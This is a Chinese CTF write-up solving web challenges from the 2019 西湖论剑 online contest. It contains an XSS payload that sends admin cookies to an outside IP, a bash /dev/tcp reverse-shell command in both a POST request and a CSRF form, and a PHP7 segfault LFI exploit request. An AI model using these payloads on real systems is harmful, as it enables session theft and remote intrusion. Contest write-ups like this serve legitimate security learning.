2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。
[TOC]
Web
Web 1 猜猜 flag 在哪
Description
{% colorquote info %} NULL
题目地址:http://ctf1.linkedbyx.com:10122
{% endcolorquote %}
Hacking
扫目录发现有.DS_Store
文件,发现http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e
目录下有 git 泄露
拿到文件之后有个压缩包,尝试明文攻击得到 hint.txt
拿到 code 为 9faedd5999937171912159d28b219d86,访问flag/seed.txt
发现回显 NAVIE
在首页输入 code 参数与 name 参数,回显了另一个 code
综合前面给出的flag/seed.txt
,猜测是个随机数的问题,应该是要猜解随机数问题,用php_mt_seed这个工具直接爆破可以得到 seed
访问flag/209228.txt
拿到 flag
Web2 breakout
Description
{% colorquote info %} NULL
题目地址:http://ctf2.linkedbyx.com:10611
{% endcolorquote %}
Hacking
随便用一个用户名进去。
有一个留言功能,可以进行留言,有一个 report 功能,可以报告一个 url 给管理员,还有一个执行命令与清空留言的功能。所以很明显的一个利用思路就是留言处进行 xss ,把留言界面的 url 发送给管理员,拿到 cookie 即可进行命令执行
我们先测试留言
<script>alert(1);</script>
<:)>alert(1);
发现是字符替代,基本过滤了 DOM 事件,测试用以下 payload
</li><iframe src='http://106.14.153.173:8080/'><li>
成功收到访问信息,所以需要我们绕过字符替代进行 xss 。按照我博客之前写的 xss 教程,我们可以在 src 处利用 html 实体编码来进行绕过,这样就不会出现关键字了,就像以下 payload :
</li><iframe src="javascript:window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>
然后我们只需要把http://ctf2.linkedbyx.com:10611/main.php
在 report 界面提交就好了。
成功拿到 cookie ,这时候我们只需要带着 cookie 去执行命令就好了
POST /exec.php HTTP/1.1
Host: ctf2.linkedbyx.com:10611
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ctf2.linkedbyx.com:10611/exec.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Connection: close
Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh
Upgrade-Insecure-Requests: 1
command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1
这里我直接弹了 shell ,在根目录下发现 flag.txt
其实如果拿不到 cookie 的话,也可以用以下方式去构造一个 CSRF
<form action="exec.php" method="post" id="myform">
<input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command">
<input value="1" name="exec">
</form>
<iframe src="javascript:parent.document.getElementById('myform').submit();"></iframe>
事实证明也确实可以这么去做。
waf 黑名单如下:
function waf($str){
$black_list = "script|\W+on.*?=";
$str = preg_replace("/".$black_list."/i",":)",$str);
return $str;
}
Web 3 babyt3
Description
{% colorquote info %} babyt3(Ubuntu 16.04 php7.0)
题目地址:http://ctf1.linkedbyx.com:10010
{% endcolorquote %}
Hacking
index 提示了有 dir.php 跟 include $_GET['FILE']
Dir.php 可以列目录,在根目录下找到 flag ,用http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4
包含即可
真心想吐槽,这么水的题你出在西湖论剑上合适吗???还不如月赛
赛后跟师傅们讨论的时候,发现 web3 这种题竟然…能放上来…
index.php 源码:
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>
<!--hint: dir.php -->
Dir.php 源码:
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
然后我们就可以看到这个题是多么多么…
{% colorquote danger %}
strpos(‘flag’,$a) !== false
{% endcolorquote %}
strops
参数都写反了…所以就成了没有过滤的一道题…
预期解
预期解猜测就是使用 php 7 的一个 segmentfault 错误的 bug,也对上了题目描述一开始给出了环境配置的原因
POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/test.php
Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850
Content-Length: 248
Connection: close
Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b
Upgrade-Insecure-Requests: 1
-----------------------------9417939141775834208717807850
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------9417939141775834208717807850--
发以上 http 包,将php://filter/string.strip_tags/resource=/etc/passwd
这个 payload 传入include
方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir
文件夹下,并且不会被删除。
这样我们就可以包含我们的恶意文件代码了。具体看LFI via SegmentFault
自己做了个漏洞环境供复现:PHP7-LFI
Web 4 blog
Description
{% colorquote info %} NULL
{% endcolorquote %}
Hacking
原题,Google CTF 2018 bbs
github 源码地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs
Wp: https://ctftime.org/task/6243
Conclusion
这次比赛收获不大,说实在的,还没安恒月赛质量高,而且第三题出的真的是秀了我一脸,让我很怀疑安恒对这次比赛的题目的检验等,也让我对接下来如何去办好一场比赛有一些借鉴经验,希望接下来的 SUCTF 全国赛不会出现这种难以入目的低级错误。